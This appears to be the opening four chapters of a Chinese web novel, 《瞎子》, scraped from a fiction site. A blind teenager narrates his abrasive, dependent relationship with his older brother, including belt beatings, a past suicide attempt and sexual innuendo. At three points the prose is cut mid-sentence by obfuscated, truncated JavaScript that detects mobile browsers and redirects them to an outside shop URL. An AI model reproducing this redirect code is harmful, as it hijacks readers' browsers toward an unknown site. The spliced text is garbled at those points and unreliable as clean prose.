《瞎子》 1. 第 1 章 “嗯啊…..往下一点儿。” “别,太用力了。” “你把手放里面一点儿。” “……..” 暧昧不明的声音此起彼伏,含糊挑逗的话语如同黏腻的液体般罩在耳膜上,蠢蠢欲动的人被这声音逗弄得难以忍耐,隔绝在外的人则愈发心烦意乱。 我烦躁地翻了个身,背对着房门所在的方位,仿佛这样就能冒出来个特殊材质的保护罩罩到我身上,将这令人作呕的声音彻底隔绝,但事实上根本没用,无论我翻多少次身,这声音都像紧贴着我的脊背般,让人直起鸡皮疙瘩。 我干脆用被子捂住脑袋,然后又把枕头压上去,一个不够就压两个。我胡乱折腾了一通,那声音总算是消失了,可它的消失跟我没任何关系,不是我克服了它,而是发出声音那人闭嘴了。 “感觉怎么样?”路迟的声音有些哑,透过房门直钻进我耳朵里,听得我直撇嘴。 他到底是给人按摩还是给人提供特殊服务呢,搞得这么骚气。我在心底连着骂了几句“骚.货”。 “挺好的。”那顾客笑了声,听声音极为餍足,但女人的声音到底要比男生细不少,因此哪怕她的声音也有些哑,却不像路迟的声音那么低,低得让人觉得有些装。 最近网上不是特流行“低音炮”吗,有不少小姑娘甚至是小伙子都特喜欢那音色,我却觉得特别腻歪,听上两秒就觉得整个人从头到脚都过了遍油,简直是极品油物。 但架不住李姨耳背,刷手机短视频的时候总喜欢把音量调到最大,且她这人不知是年纪上来了有些反应迟钝,还是单纯喜欢将每个视频都反反复复多看上几次,每次她刷到有关“低音炮”的视频,我都要被迫跟她一同听上十来分钟。 又难受又别扭。 我也不想跟着一块儿听,但谁让我是个没用的瞎子呢,白天我哥店里来了客人,我就得乖乖到隔壁李姨家的小卖店待着,给他和客人腾地方。 李姨怕我出事儿,还不让我乱走,但又怕我无聊,所以每次刷视频的时候都强拉着我跟她一起“鉴赏”。但我能赏个屁啊,我看都看不见,唯一还算好使的耳朵也在李姨长期高音量外放的摧残下变得有点儿耳背的趋势。 这对我来说算是件好事儿。 毕竟耳背就代表我没法听清我哥和那些顾客之间的动静了,可现在,“耳背”像突然被治好了似的,我甚至能听见我哥喝水时候喉结向下吞咽的声音。 我不想听啊。 我双手抱着脑袋,快速地小声嘀咕:“路迟是傻逼,路迟是傻逼,路迟是傻逼…..” 就在我重复到第一百次的时候,我脑袋上的被子和枕头都被人掀起来了。 精油的浓香迎面而来。 我立马捏住鼻子往被窝里缩了缩。 “离我远点儿,快去洗澡。”我催促路迟。 路迟没说话,但浓香没消失,我就知道他还没走,于是,我伸出手胡乱摸索了下,最终抓住我哥背心的下边缘处,随便往下拽了拽,抱怨着说:“路迟,你明知道我最恶心这股味儿了,你为什么不先洗澡再过来,现在还一直站我面前,你是不是又忘了我是因为谁才变成现在这鬼样子了?” 我说得理直气壮:“路迟,要不是你我根本不可能变成瞎子,也不可能跟个残废一样躺在这儿等你赚钱,我要是还看得见,肯定比你更会赚钱,也不会干这种让人瞧不起…..” 话还没说完,我就感觉路迟抓住了我的头发。 尖锐的刺痛从头皮上传来,刺得我不自觉扭曲了面部肌肉。 “重新说。”路迟的声音有些冷,换做旁人估计会立马认错求饶,觉得自己惹恼了路迟,但我知道,路迟这人压根儿没生气,他单纯是面对我的时候就没有好态度。 就像我习惯性地骂他讽刺他,仿佛把和他作对这件事儿当成了人生理想,倘若有一天不再朝着这个方向行动,全身上下的骨头立马都会烂掉。路迟也把教训我当成了生活日常,抓头发只是最无足轻重的一种方式,以前我把路迟的内裤偷藏起来,却因为自己眼瞎没摸准地方,把他穿过的脏内裤放到了顾客落下的包里,那天晚上路迟用皮带把我的屁股都给抽肿了。 旁人坐冷板凳娇气些的还要垫个厚椅垫,我就省事儿了,路迟给我屁股抽得肿得有半个凳腿高了,直接省了买椅垫的钱。 那天晚上疼的我睡不着觉,我自然也没让路迟好过,虽说这事儿从源头上来捋是我的错,可我这人从生下来开始就没认过错,哪怕我老子来了,我也是对的。 所以为了报“辱屁股”之仇,那天晚上我给路迟的全部裤衩子都给剪了,但没直接剪烂,而是从正中间的位置开始剪出个洞,正反加在一起总共两个洞。 不仅如此,我还送了路迟一句祝福—— “等你用上后面那个洞,你屁股肯定被人弄的比我的还肿。” 路迟没骂我,他又给我屁股揍了。 但揍完了他又说我:“你真是活够了。” 我不服输地回:“是,我早就活够了,从我变成瞎子那天开始我就活够了,那时候我就要去死你怎么不让呢?爹都眼睁睁看着我从窗边往外跳,拦都没拦,就你拦了,我告诉你路迟,从那天开始就注定了,我这辈子都吃定你了,你活该让我这个瞎子欺负。” 这话听着挺白眼狼的,路迟尽了回当哥的职责,不想让我死,几乎把大半个身子都探到十楼的窗户外面,才格外惊险地将我拽回屋里,没让我死成,结果我还这样对他。 但这都是路迟应得的。 字面意思。 哪怕有一天我突发恶疾像个野狗一样照他脖子来一口,给他咬死了,也是他应得的。 因为我就是因为他才变成瞎子的。 我是为了救他才变成瞎子的。 如果没有我,现在这个令人厌烦唾弃、完全是个累赘的瞎子就是路迟了。 这是他欠我的。 他还一辈子都还不清。 对于路迟“重新说”的要求,我压根儿不吱声。 懒得理他,反正等两分钟之后他手酸了,自己就松开了。我又不怕疼,就是不知道总被抓头发会不会秃顶。 不过秃顶也不影响,反正我自己也看不见,哪怕看起来特别丑,恶心的也是别人,尤其是路迟,他整天面对我,简直是被“恶心大招”直攻的第一受害人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315035|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 光想想路迟被我丑得直恶心,抱着肚子直干呕像怀孕了似的模样,我就想笑。 我也确实笑出来了。 路迟对我这神经兮兮的模样习以为常,直接松开了手,转身走了。 听见他的脚步声渐渐走远,我下意识叫了声:“路迟。” 路迟没停。 我咬咬嘴唇,迫不得已改口:“哥。” 我叫这声时音量不高,路迟却还是听见了,因为他一直在等着这句。 路迟停下脚步,问:“干什么?” “几点了。”我说。 这句话的潜台词就是—— 时间不早了吧,我好饿。 路迟嗤笑了声,说:“才四点,离晚饭时间还早着,挺着吧。” “我饿了。”我只能尽量直白地说。 有时候我觉得我就像是路迟养的一条狗,因为我只有少数时间会听路迟的话,大多数时间都像个没人性的畜生似的不停乱叫。而路迟总是在我乱叫的时候直接进行惩罚,有时候是皮带抽屁股,有时候则是拎着我的脖领把我扔到一个特安静的小房间里,两个小时之后才把我放出去。 我难得听话的时候,路迟也会给我奖励。 比如现在。 路迟满意我的直接表述,顺着我的话说:“那哥快点儿冲个澡,冲完澡就给你做饭,然后你先吃。” 这话里充满兄长对弟弟的关爱,我听着却浑身不得劲儿。 路迟到底为什么这么执着于扮演慈兄呢。 而且每次扮演的时候,路迟都会格外投入,几乎对我是有求必应。我甚至怀疑,如果哪天我在路迟扮演得正上头的时候说一句我想喝奶,他都会立马脱下背心,然后把胸膛凑到我面前,亲自扶着我的脸凑上去,说:“桉宝在这儿呢。” 这幻想让我一阵恶寒。 太邪性了,我怎么会想到这种画面呢。 迟迟没得到我回应的路迟开口叫了下我的名字:“路桉宁。” 我哆嗦了下,知道他这是从扮演中出戏了,立马应了声:“都听你的,哥。” 这种时候必须顺着路迟,否则他这个没能完全发挥出演技的“大影帝”就要怒火中烧地开始针对我了。我可不想在饭里吃到什么耗子药、开塞露之类的东西。 识时务者为俊杰。 饿肚子的时候我就是阶级底端人群,路迟要是不开心了,我都得跪地上撅起屁股让他用皮带打。 没办法,谁让我家只有我俩,我爹死了,我妈吃上国家饭了,还是无期徒刑,估计有生之年,我都没法接我妈出狱了。 想了想,我又掐着嗓子补充了句:“哥,今天你多做点儿你爱吃的吧,我怕你累坏了。” 反正动动嘴皮子的功夫,无论做什么饭菜都是路迟下厨,多添上这一句让他乐呵乐呵也不是不行。 因为今天是周一。 每周一晚上,路迟都会给我做全身按摩,还会给我讲故事哄我睡觉,像哄小孩儿似的特腻歪无聊,但我还算挺喜欢的,毕竟我什么也看不见,以前上小学的时候我妈给我买了不少漫画书都没看完,只有这种时候才能让路迟帮我念念漫画书上的故事了。 2. 第 2 章 “用力一点儿,你没吃饭吗路迟。”我感受着路迟的温热的大掌在我后背缓慢揉捏,精准地找到每个穴位,浑身都舒服得绵软了下来。但我不愿意让路迟察觉到我的满足,便嘴硬地挑着刺:“路迟你要是不爱给我按摩就别按了,你刚才给那个女人按摩的时候可不是这力道。” 路迟手上动作停了,我不满地将手绕到背后,抓住他的手腕,催促道:“接着按啊,本来按的就一般,再消极怠工就更不行了。” 路迟就着我的手开始缓缓挪动,掌心贴到了我的后腰上,却迟迟没往下摁。我刚要再次催促,就听见他说:“那是什么力道?” 我愣了下,才反应过来他指的是我上上句话。我撇撇嘴,心想这人怎么还开始较真儿了,但嘴上还是回应道:“就是不一样,你都给那人摁的开始叫了,我还没叫…..” 我话还没说完,路迟的手就猛得用力。穴位被刺激的酸胀感瞬间涌了上来,我张开嘴,下意识叫了声:“啊…..” 路迟嗤笑了声,问:“这样?” 我听出他话里的讽刺意味,脸上难免有些挂不住,便嘴硬道:“差远了,我刚才是给你面子才叫一声的好不好。” “你全身上下,就嘴巴最硬了。”路迟说。 “放屁。”我抬起脑袋,试图让路迟看清我脸上的屈辱,“你怎么能说一个男人身上最硬的东西是嘴?路迟你可真缺德,你想让你弟立不起来是吧。” 路迟换了个姿势,跪到我腿旁,手掌下压的角度也有了微小的变化,我说不出其中差别,只能感觉到更舒服了些。路迟说:“你还小,算不上男人。” “我马上就十八了。”我不满地嚷道:“你知不知道爸跟妈谈恋爱时候才多大,我这年纪肯定算得上是男人了。” “他谈恋爱谈的早,连责任都不敢担算什么男人,他还没长成真正的男人就学会对女人动手动脚,所以他后来变成畜生了。”路迟冷冷地说:“你想拿自己跟畜生比?” 我沉默几秒,才垂下脑袋闷声说:“不想。” 嘴上这么说,但我心里还是默默地想:老畜生爽那一次才有了我俩,所以我俩就是小畜生,现在才沦落到这种地步,连正常生活都有些费劲儿。 我又开始恨我爹了,恨他死得太晚。 他早该在还没有我俩的时候就直接死掉。 路迟察觉到我的心情低落,伸手在我脸上摸了一把,他掌心浓烈的精油味瞬间侵占了我的鼻腔,我恼火地胡乱咬了一口。 我就是个看不见的瞎子,咬上去那口全凭感觉,路迟完全可以轻松躲过,却还是实打实地让我咬了一口。 这下,精油味开始侵占我的口腔了。 我连着“呸”了几下,抱怨道:“路迟,你就是故意的,你就知道欺负我。” 路迟笑了,他说:“你不也在欺负我吗。” 是啊,我俩互相欺负,互相当对方的可怜蛋,为对方哭为对方笑,稀里糊涂得这辈子就过去了。 我一时之间不知道该说什么,噎了良久,才扔出去一句:“那是你应得的,但你不能欺负我。” “你这么不讲理,除了我谁还愿意守着你。”路迟按摩的动作彻底停了,我听见一阵窸窣声,紧接着就是打火机的脆响。浓烈的烟草味紧随其后。 路迟一边抽着烟,一边用手掌丈量我脊背的长度,他说:“你是不是这辈子都长不大了。” 我不知道他说得是我的个子,还是说我这令人厌烦的性格,但无论是哪个,我都清楚它改不了了,只能定格在如今的模样上。 我没回答他,而是在面前挥了挥手,试图拍散那股烟草味,还皱着鼻子说了句:“呛。” 路迟却没管我,没把烟掐灭,因为他手机上来了电话。 我听着他接通电话,同那头低声交谈着,说的却不是什么正经事儿,而是略显暧昧的贴心关怀。 我能听见手机那头的声音,路迟也从没刻意避着我,因此我很轻易便辨认出这声音的主人是谁。 是那个已婚的女人。 她经常照顾路迟的生意,不仅是因为路迟按摩的手艺确实不错,还因为路迟长了张令人见过便再难忘怀的脸。 我很少夸谁长得好看,以前眼睛还好使的时候,我性子恶劣,看见长得好看的男生就故意问人家“你是女生吗”,碰见漂亮的女生,我则会直接远离,毕竟漂亮的女生都被家长看得紧,我稍微靠近点儿,估计就要挨揍了。 虽说我和同龄人打架没怎么输过,但要让我跟差出几十岁的大叔阿姨打架,可就有点儿降维打击了。而且要是真打起来,我爹估计就先冲上来给我一巴掌,边陪笑边跟人家说:“我家这儿子欠管教,他妈太溺爱他了,等我回去肯定好好教育。” 之后只会是来自我爹的拳打脚踢。 至于瞎了之后,我压根儿看不见大家都长什么样儿,更不会夸人家好看了。我要是真夸了,估计那人还要以为我只在讽刺人家。 被一个瞎子夸好看,很难让人不去想这话是否有什么言外之意。 而路迟,是唯一一个我真正说过“你长得真好看”的人。 在我的记忆里。 路迟从小到大都特招人,他长得不是精致纤细的那种漂亮,而是特标志的浓眉大眼,有不少人见他第一眼都不相信他是我爹的种,毕竟我爹长了双极其猥琐的小眼睛,要不是有我妈的基因,我估计在刚开智的时候,照一照镜子就想撞墙去死了。 还好有我妈,我才没长成野兽脸。 但我现在也不太清楚我长成什么样子,小时候没长开,我觉得我的脸在同龄人里面算得上是清秀,再特别的就看不出来了。 瞎了之后我也问过路迟,我到底长得怎么样。路迟也总是特敷衍地回我一句:“挺好看的。” 一点儿也不真诚。 之后我就不爱问他这个问题了,太打击人的自尊心了。 我听着路迟对电话那头女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315036|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人说的贴心话,忍不住连连撇嘴。路迟要是愿意把这些话说给我听,我怕是早就直接跳楼去死,放弃继续活着拖累他了。 但是路迟太笨,他对我就说不出这种话。 我摸着床沿坐起身,抽了张纸随便擦了擦身上的精油,就摸索着穿上了T恤衫。晚上吃得太多,我实在是有些撑,躺着特不舒服,坐久了又像个雕塑似的太傻气,但我等了好一会儿,路迟这通电话都没打完,我只能不耐烦地出声说:“哥,谁啊,是那个说话像女人的哥哥又来找你了吗。” 电话那头没声音了。 我在心底狂笑,小样的怕了吧。 路迟也沉默了几秒,才接着开口对手机那头说:“我弟睡醒了,我得去照顾他了,之后有空再聊…..或者你明天过来也成,好久没给你按摩了,你肩膀最近又痛了吧。” 那女人匆匆说了句话就挂断了电话。 我听着电话挂断的嘟嘟声,再也忍不住,直接笑出了声,幸灾乐祸道:“路迟,你真以为这女的是看上你了呢,之前我听她说过,她老公是开大车的,常年不在身边,她只是寂寞了才逗你玩,你看,她现在听见你可能跟基佬那什么过,立马就不理你了。” “哪什么过?”路迟问。 我听着路迟语气还算不错,觉得他应当是没生气,便接着口无遮拦地说:“跟基佬睡到一块儿,干起来了呗。” “你知道基佬怎么干?”路迟反问。 “我怎么不知道了。”我最讨厌路迟瞧不起我的态度,便努力自证道:“还能怎么干,哪有洞就…..” 剩下的话没说完,也再没机会说出来了。 路迟抓着我的脖领把我摁到了床上,我能感觉到他粗旷的呼吸正在快递贴近。 原来他生气了。 我瞬间不敢说话了。 路迟却开始问:“路桉宁,我看你真是瞎了眼睛之后脑袋也变得死住了,你说话完全不过脑子是不是,这是你该对你哥说的话吗?” 他又开始端架子教育我了。 偏偏我就不服气他这样的管教,我梗着脖子,仗着自己看不见,干脆开始催眠自己,反复在心底念叨,面前这个不是路迟,是跟他声音一样的另一个男人,别怕别怕别怕。 催眠完毕,我便壮着胆子说:“凭什么不能说?我也是正常人,正常人都会对那方面有探究欲望的,况且我也没实操,就是在嘴上说说,你要是觉得我光说说都有错,那你就应该先把自己击毙了,你别以为我不知道你每天晚上在厕所都干什么呢。” 路迟抓着我的手突然松了。 我满脑子都是战役胜利的喜悦,接着添油加醋道:“你自以为挺隐蔽的,但是每次你从厕所出来,我都能闻见里面的味道,特别骚你知道吗。” 其实不是骚,是腥。 但我就想这么羞辱他。 我等着听路迟忏悔,但他直接走了,一句话没说。从那晚之后,他都没主动跟我说过话。 3. 第 3 章 我知道盲人的生活中充满麻烦,不知该往哪走的路,永远摸不清的方向,没法找寻的东西,只能依赖声音来辨别的人,甚至连最基本的吃喝拉撒都要像个寄生虫似的仰仗别人的帮助来汲取养分,我什么都做不了,我一直都知道。 但直到路迟开始跟我冷战,我才意识到,原来这些麻烦比我想象中还要操蛋。 “啪!” 我踩到卫生间地面上残留的水渍,甚至来不及反应,就直接猛地摔倒在地,比屁股上的疼痛更强烈的是脑袋的眩晕。我胡乱向四周抓去,却什么都没抓住,就连手背也被洗手池的棱角猛得磕了一下。 我就像个没有自主选择权的布偶娃娃,只能徒劳地等待一阵又一阵的疼痛撕扯着我的神经。 “草,好疼…..”我直接倒在了地上,死死地咬住嘴唇,生怕自己因为忍耐不住疼痛而喊出那声“哥”。 地面格外冰冷,残留的水渍也在此刻快速浸透我身上的衣裳,我倒在地面上一动不动,哪怕身上的痛感已经缓和许多,我也没有起来的打算。 我想,如果哪天路迟一声不吭地扔下我跑了,我肯定就会像现在这样,直接变成个生活不能自理的残废,在某天意外的撞击中失去生命,最后变成具腐烂生蛆的尸体,直到闻到腐臭味的邻里宣告我的死亡。 路迟不仅是我哥,还是我的导盲犬,哪怕他不愿意承认,也不想被我当成狗。 我大口大口地喘着气,这种被全世界抛弃无视的滋味并不好受,如果我是个没有自主意识的野草,或许很容易就能接受现状,但我不是,我是个人,正因为我是个人,我才会惹恼了路迟。 我甚至觉得有些可惜,如果刚才那下是撞在我的脑袋上,直接把我撞成个半死的植物人,我可能就没现在这么想哭了。 脸上一片湿热,我不知道是不是眼泪,也不想知道,有些东西藏在心底就好,没必要点明。 但几分钟后,我还是忍不住抽噎了声。 我饿了。 但路迟在冷暴力我,我不能主动告诉他我饿了,我只能等他做好饭之后,自己摸索着乖乖坐到餐桌前,像个被饭香味勾引来的流浪狗一样,收起爪子摇尾乞怜。 路迟根本不怜悯我,他只会一声不吭地往我身前桌子上放个盛满饭的饭碗,在扔给我双筷子,哪怕我故意把菜汤都弄撒,弄得桌子上一片狼藉,他也只是一声不吭地收拾好,而不是像往常一样骂我两句再亲自往我饭碗里夹几筷子菜。 路迟根本就不爱我,他早就想抛弃我了,我一直都知道。 在我小的时候,路迟就对我特别不耐烦,在我尚且无法辨别“厌烦”与“疏离”这两种情绪时,我只当路迟是仗着自己年纪比我大在装高冷,想靠那股独特的调调来吸引女生跟他表白,可后来我懂了,他就是单纯讨厌我。 我看动画片的时候喜欢把声音放得特别大,因为我爸妈总是不在家,我爸忙着跟狐朋狗友打交道,要么喝大酒,要么就是赖死在牌桌上,我妈则忙着摆摊赚钱,挣出来我跟路迟的学费。他俩不在家,路迟又总爱在卧室里待着,整个家里看着空荡荡的,一点儿人情味都没有,我那时候甚至幻想过家里要是有一只鬼偷偷注视着我、陪着我就好了,至少能让我看起来不那么孤零零的,也不那么可怜。 但世界上根本没有鬼,我只能用把电视音量调到最大的方法来让这个家变得热闹些,可路迟觉得这是吵,他快烦死我了。 他每次冷着脸让我把声音调小一些,别吵到他学习,我就会坐在沙发上扁着嘴巴死盯着他,然后在三秒后张大嘴巴开始嚎哭。 我恨死他了,他一点儿也不爱我这个弟弟,看到我哭了之后,他甚至会更加厌烦,干脆回到卧室反锁房门,将我彻底隔绝在他的世界之外。 我不明白他为什么这么对我,我跟我妈告状,但每次我妈找路迟说完这件事儿后,路迟对我的态度只会更差。 后来我才知道,我每次告状,路迟都会挨打。 因为哥哥照顾弟弟天经地义,但他没尽到自己的职责,所以他该打。 那时候我觉得畅快极了,谁让他不理我,这下好了,挨揍了吧。 但我挨揍之后会哭,路迟却不会,他就像个没有感情的机器人,哪怕面对爸妈明显的不满指责,他也只会沉默着别开脸看向角落。 他完全不像是爸妈的孩子,因为他没表现出任何争抢的欲望。 我小学时候的同桌也有个哥哥,他和他哥天天吵架,只为争出来到底谁才是爸妈最疼爱的那个宝贝。他们都不甘心自己应得的父爱母爱被不均等地分给另一个人。 但路迟表现得就好像他完全不在乎一样。 我看不懂他。 我甚至主动去问过:“路迟,爸妈更爱我,你不生气吗。” 路迟从一堆作业里分出注意力,抬头看了我一眼,脸上没什么表情,我被他盯得直发毛,刚想放弃这个问题直接走开,就听见他说:“你认为的宝贝在别人那儿可能连一分钱都不值。” 我听不懂,我是爸妈的宝贝,他们才不是我的宝贝,我的宝贝只有一个,就是电视机上八点准时播出的动画片里面的那只小猪。 那只小猪特别蠢了,却又被周围的所有人宠爱,所以我觉得它身上肯定是有什么我没发现的闪光点,我也要把它当成宝贝。 可随着年龄增长,我就发现,蠢猪其实只是蠢猪,它身上没有任何闪光点,唯一能算特别的地方,大概就是它比其他猪都要蠢。就像我一样,我身上唯一的闪光点就是我比任何人都会无理取闹,哪怕不占理,我也要理直气壮地同别人争论,知道他们承认“理”就在我这儿。 但现在,唯一跟我争理的人也不理我了。 我的眼泪止不住地往下流,鼻涕几乎要把鼻腔完全堵住,连气都喘不过来。我不得已抬起手,想抹一把脸,至少别这么窝囊得被自己的鼻涕呛死。 但我的手刚抬起来,就感觉到另一双大手用力在我脸上抹了一把。 “你不是说这儿骚味特别重吗,怎么,被熏哭了?”路迟的声音依旧冷淡,仿佛他只是看见了只蹭了一脸灰的小土狗,兴致上来了就随便逗弄两句,随时都可能再次把我扔到角落里。 经过几天的冷落,我再也不敢犟嘴,连忙抽噎着说:“我…..我没有,我瞎说的哥,一点儿味道都没有…..是我骗人了,你别生气了行不行…..” 路迟叹了口气,我特别想看看他现在的表情什么样,是不是已经原谅我了。 路迟迟迟没说话,只是用手掌一点点地蹭掉我脸上的眼泪,我也不敢继续说话,只能可怜巴巴地努力往回憋眼泪和鼻涕。 “路桉宁。”路迟叫我名字,我连忙应声:“哥,我在听。” 路迟被我这反应逗得笑出了声,我傻兮兮地听着他笑,满脑子只有一个想法:他都笑了,肯定是不生气了。 过了足足半分钟。 路迟才接着说:“妈走之前特意叮嘱我,让我千万要看好你,要尽职尽责,尽到自己做哥哥的本分,我也应下了,其实她不特意嘱咐这句,我也会照顾你一辈子,因为你这眼睛是为了我瞎的,当初那一下…..是照着我的脸来的,要是没有你,现在瞎的就是我。” 路迟停顿了下,这片刻的安静却让我觉得格外难捱,我胡乱摸索着抓住他的手腕,发现他的皮肤很凉,凉得像跑到深冬的夜里冻了一遭,但现在分明是秋天。 我抓他抓得更紧了,生怕这一切都是我的幻觉。 我连忙说:“哥,这是我自愿的,我不可能看着你挨打,你是我哥。” 路迟替我擦眼泪的动作轻了一些,我觉得他可能是出于愧疚,但说实在的,如果不是被愧疚感束缚,我哥早就扔下我跑了。他学习不错,高考成绩本可以考个不错的双一流大学,但为了我,他留在了这片穷乡僻壤,干起了这不入流的生意,整日靠给人陪笑脸来讨人欢心。 我都知道。 路迟却说:“…..桉宝,没什么自愿不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315037|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自愿的,你后悔了,哥能看出来,你要是连半点儿后悔都没有过,哥反倒觉得更难受,但你说那些话,哥也是真生气。” “你以前眼睛好的时候从来都不说这些东西,虽然你在别人眼里挺混账的,也不爱学习,但哥知道那是因为你不想因为自己成绩好而长了那老畜生脸上的光,其实你学习不错的,你脑袋也不笨。”路迟伸手把我从地上抱起来,用手托着我的后颈,强迫我仰起脸,用纸给我擦鼻涕。 他说:“但你现在面对我的时候,说的都是你以前最唾弃的东西,桉宝,这是你想要的吗?你不过是为了气我而已,这没必要。” 我的眼泪又往下淌,我其实也不知道路迟说的这些话到底是对是错,我只知道是我嘴欠才导致了如今这一局面。 其实全是我的错,只不过我脸皮薄不愿意认错,还比谁都犟。如果路迟没主动给我擦眼泪,我怕是宁可在某天莫名其妙地横死,也不愿意主动认上一句错。 我已经是个低人一等的残疾人了。 为什么还要让我承认我的错。 老天爷对我不公,我少做点儿对的事又怎么了,反正老天爷已经给我赐下了“贱命”。 我做的事就应该是能配得上这条贱命的事。 做得太好了,我就要觉得委屈了。 可现在路迟这么一说,我反倒觉得更委屈了,我想抱着路迟号啕大哭,可是我不敢,我怕他揪着我的脖领拉开距离,告诉我别把鼻涕蹭他身上。 我讨厌路迟,他既然懂我,为什么不能包容我所犯下的全部错误,为什么要这么无奈地分析我的处境、想法,再叹息着告诉我“你不能这样”。 我恨他。 我又忍不住犟嘴,却不敢太大声:“怎么就没必要了,我是个正常人,我有自己的人权,我想怎么样就怎么样。” 路迟又开始叹气,他也不嫌脏,干脆盘腿坐到地面上,双臂用力一揽,将我抱到他腿上,然后又摁着我的脑袋,把我的耳朵贴到他的胸膛上。 “听见了吗?”他说。 我只听见了他的心跳声。 “没有。” 路迟说:“你每次这样,我的心跳都会特别快,桉宝,你哥心脏不好,你天天这样气我,我早晚要心脏骤停被送进医院,以后谁来照顾你?” 我听不下去了:“你是不是要说你有心脏病,让我少气你?李姨也有心脏病,但那是因为她年纪大了,你才多少岁?而且爸妈的心脏都很好,怎么就偏偏你的心脏这么脆弱?” 路迟不说话了,他的手掌摸着我的脸,像是在为一只狗顺毛。我气不过,直接张开嘴咬了他一口。 路迟也不挣扎,就那么任由我咬着。 “桉宝,你不懂。”他说。 “是,我什么都不懂,你们都说我不懂,然后什么都不告诉我,妈这样,你也这样,你们都当我是个傻子,随随便便就能糊弄。”我挥开他的手,用力蹭了把自己脸上的眼泪。 实在太丢人了,在路迟面前哭成这样。 路迟无奈地说:”那你觉得你懂什么?” “我懂你的心。”我说:“你就是瞧不起我。” 路迟笑了,我不明白这有什么好笑的。 我还想继续开口说什么,就听见了一阵风铃声,来客人了。 路迟也没再多说什么,只是把我抱起来,直接出了卫生间。路上碰见客人,他也只是冲那人说了句:“您稍微等一下,我把我弟送回房间里。” “没事儿,不着急。”那客人说。 我听这声音是先前跟他通电话那女人,便怄气道:“我不回房间,你给我送到李姨那儿,我要跟她聊天。” 路迟的脚步顿了顿,却还是把我给送到了李姨那儿。 李姨应当是看见了我眼皮通红一片,在路迟走了后用手轻轻地摸了下我的脸,说:“跟你哥吵架了?” “没。”我说:”是他故意气我。” “他的错。”我特意强调。 4. 第 4 章 可惜李姨主张家庭和谐,从来不会根据我的片面之言就给路迟定下滔天大罪,她只会无奈地笑笑,拉出张小板凳坐在我身旁,抓着我的手,有一搭没一搭地拍哄着说:“你哥他心底有主意,做什么事儿都有自己的道理,你只是一时察觉不出,小桉,你哥绝对不会对你差的,你俩是亲哥俩,要在一起一辈子的。” 我瘪瘪嘴巴,仍在气头上,干脆说:“我俩怎么可能真在一起一辈子,等路迟赚大钱了,说不准就把我扔到哪个残障人士看护所了,然后他自己娶妻生子,逍遥自在。” 李姨又在笑,她笃定道:“不会的,你哥干不出来这种事儿。” 我有时候觉得特奇怪,在路迟小时候,他虽说学习成绩不错,但面对邻里长辈从不爱开口讲话,我爹甚至说他天生就是个哑巴命,老天降福让他能说话,他自己却不知道珍惜,而我却是个爱叽叽喳喳的性格,这也导致周围邻里都更偏爱我,每逢我跟我哥吵架,他们听见我的告状都会皱着眉头说路迟太不懂事儿了。 只有李姨,她似乎永远都是中立方,哪怕路迟有段时间不学好,自甘堕落开始跟附近的小混混频繁往来,她也只是略有些惋惜地说:“他把路走窄了。” 但这也是我更喜欢李姨的原因,每当我情绪上头,恨路迟恨得牙痒痒,巴不得他出门就被车撞死的时候,李姨总是用她温暖的手抚摸我的脑袋,然后语速慢悠悠地开始带我重温路迟的好。 我甚至觉得,我和路迟之间的关系没在几年前就紧绷到王不见王的地步,李姨有百分之九十的功劳,剩下十分,则是我天生自带点善良。 当然,这份善良并非人人都能享受得到,要是哪个贱嘴皮子的舞到我面前,我保准掐着腰指着他的脸臭骂一顿。 我没素质我有理。 李姨又开始说:“你记不记得你上次生气是因为你哥给你头发剪得长一截短一截,你说光摸着自己的脑袋,还以为手里钻进来一只造人虐待的狗,刚想扔过去把狗粮,一张嘴发现那粮到了自己嘴里。” 李姨边笑边用手勾起我额头前的碎头发,接着说:“那时候你觉得你哥是故意的,但不是,他只是想省点儿钱,攒出来笔能送你上学的钱,他也没想到自己能剪成那样,小桉,你看不见,所以只能我讲给你听。” 我记起来了。 上次路迟把我的头发剪毁了,我怀疑他是故意报复我,想让我彻底变成个别人不敢靠近的邋遢小孩儿,毕竟在我印象里,只有住在南边那户家里的老疯子的头发才这么丑。 我觉得他就是想把我变成个小疯子。 但李姨告诉我,路迟给我剪头发之前特意用自己的头发试了试手,他用自己的脑袋练了小半年,刚开始剪出来的活像是个长毛的鸡蛋,让人看了都忍不住只蹙眉,按理来说,正常人把自己头发剪毁了肯定要去理发店修理,或是干脆狠狠心把头发全推了,整个光头再重新养。 但路迟不是,他就天天顶着那个长毛鸡蛋似的脑袋接客,因为他要是把头发推了,就没人愿意给他练手了。 他没养过别人,所以养我的时候不知道该怎么小心翼翼才算得上的精细,只能先用自己那糙硬的身体做实验。 